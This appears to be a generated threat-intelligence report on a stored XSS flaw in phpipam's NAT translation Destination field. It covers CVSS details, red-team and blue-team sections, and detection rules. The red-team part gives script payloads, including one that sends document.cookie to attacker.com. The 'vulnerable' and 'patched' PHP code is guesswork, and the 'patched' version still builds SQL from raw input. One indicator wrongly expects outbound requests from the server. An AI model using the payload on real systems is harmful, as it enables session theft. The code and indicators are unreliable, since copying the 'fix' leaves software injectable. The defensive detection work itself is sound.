CVE-2024-10724

Executive Summary

CVE-2024-10724 is a stored cross-site scripting (XSS) vulnerability identified in phpipam version 1.5.2, specifically within the Subnet NAT translations section when editing the Destination address. This vulnerability allows an authenticated attacker with low privileges to inject malicious scripts into the application, which are then stored and executed in the browsers of other users who view the affected NAT translation entries. The vulnerability is classified as low severity (CVSS 3.5) due to the requirement for authentication and user interaction, but it poses a risk to the confidentiality and integrity of the phpipam instance. The issue is resolved in version 1.7.0.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code vulnerability in the phpipam PHP application. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network - The vulnerability can be exploited over the network.
• Attack Complexity (AC): Low - No special conditions are required for exploitation.
• Privileges Required (PR): Low - An attacker needs valid credentials with low privileges (e.g., a standard user) to access the NAT translation editing feature.
• User Interaction (UI): Required - The victim must interact with the malicious content (e.g., view the NAT translation page).
• Scope (S): Changed - The vulnerability can impact resources beyond the vulnerable component (e.g., the victim's browser).
• Confidentiality (C): Low - Limited information disclosure is possible (e.g., session tokens).
• Integrity (I): Low - Limited modification of data is possible (e.g., defacement).
• Availability (A): None - No impact on availability.

Threat Level: Low. Exploitation requires authentication and user interaction, limiting the attack surface. The EPSS score of 0.0% indicates a very low probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability resides in the Subnet NAT translations section of phpipam. When a user with the necessary privileges edits the "Destination address" field of a NAT translation entry, the application fails to properly sanitize or encode user-supplied input before storing it in the database. When another user (or the same user) views the NAT translation list, the stored malicious script is rendered in the browser without proper escaping, leading to stored XSS.

Attack Flow:

1. An attacker authenticates to the phpipam instance with a low-privileged account.
2. The attacker navigates to the Subnet NAT translations section and edits an existing NAT entry or creates a new one.
3. In the "Destination address" field, the attacker injects a malicious payload, such as <script>alert('XSS')</script>.
4. The application stores this payload in the database without sanitization.
5. A victim (e.g., an administrator) views the NAT translation list.
6. The victim's browser executes the malicious script, which can steal session cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (phpipam 1.5.2): The vulnerable code likely resides in the NAT translation editing functionality. The input from the "Destination address" field is not sanitized before being stored or displayed.

// Vulnerable: Directly stores user input without sanitization
$destination_address = $_POST['destination_address'];
$query = "UPDATE nat SET destination = '$destination_address' WHERE id = $nat_id";
$database->query($query);

Patched Code (phpipam 1.7.0): The patched version sanitizes the input using functions like htmlspecialchars() or a dedicated sanitization library before storing or displaying the data.

// Patched: Sanitizes user input before storage
$destination_address = htmlspecialchars($_POST['destination_address'], ENT_QUOTES, 'UTF-8');
$query = "UPDATE nat SET destination = '$destination_address' WHERE id = $nat_id";
$database->query($query);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of phpipam 1.5.2.
• Valid credentials with low privileges (e.g., a user with access to NAT translation editing).

Exploitation Steps:

1. Log in to phpipam with the low-privileged account.
2. Navigate to Administration > IP Management > Subnet > NAT translations.
3. Click on an existing NAT translation entry to edit it, or create a new one.
4. In the Destination address field, enter the following payload:

   <script>alert(document.cookie)</script>
   

5. Save the entry.
6. When an administrator or any other user views the NAT translation list, the script will execute, displaying the victim's cookies in an alert box.

Advanced Payload: To exfiltrate cookies, use:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor web application logs for suspicious input in the destination_address parameter, especially <script> tags or other HTML/JavaScript constructs.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Prevention:

• Upgrade to phpipam version 1.7.0 or later.
• Apply input validation and output encoding for all user-supplied data.
• Use parameterized queries to prevent SQL injection (though not the primary issue here, it's good practice).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /app/admin/nat-edit.php or similar endpoints with destination_address parameter containing <script> tags.
  • Outbound HTTP requests to unknown domains from the phpipam server (if payload exfiltrates data).

• Host IOCs:

  • Database entries in the nat table where the destination field contains HTML/JavaScript code.
  • Web server logs showing requests with XSS payloads in the destination_address parameter.

• File IOCs:

  • Modified phpipam source files (if attacker gains code execution).

Detection Engineering

YARA Rule

rule detect_phpipam_xss_payload {
    meta:
        description = "Detects XSS payloads in phpipam NAT translation destination field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10724"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_event = /on\w+\s*=\s*['"].*?['"]/is
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Stored XSS in phpipam NAT Translation Destination Field
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in phpipam NAT translation destination field
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/app/admin/nat-edit.php'
        cs-method: 'POST'
        cs-params|contains: 'destination_address'
        cs-params|re: '<script[^>]*>.*?</script>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in destination field (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10724 - Stored XSS in phpipam NAT Translation Destination Field"; flow:to_server,established; content:"POST"; http_method; content:"/app/admin/nat-edit.php"; http_uri; content:"destination_address"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade phpipam: Update to version 1.7.0 or later, which contains the fix for this vulnerability.
2. Apply Input Validation: Implement server-side validation to reject any input containing HTML or JavaScript tags in the Destination address field.
3. Output Encoding: Ensure all user-supplied data is properly encoded before being rendered in the browser (e.g., using htmlspecialchars() in PHP).

Long-term Measures:

• Web Application Firewall (WAF): Deploy a WAF to block common XSS patterns.
• Content Security Policy (CSP): Implement a strict CSP to prevent execution of inline scripts.
• Regular Security Audits: Conduct periodic code reviews and penetration testing.
• User Training: Educate users about the risks of XSS and safe browsing practices.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters@example.com.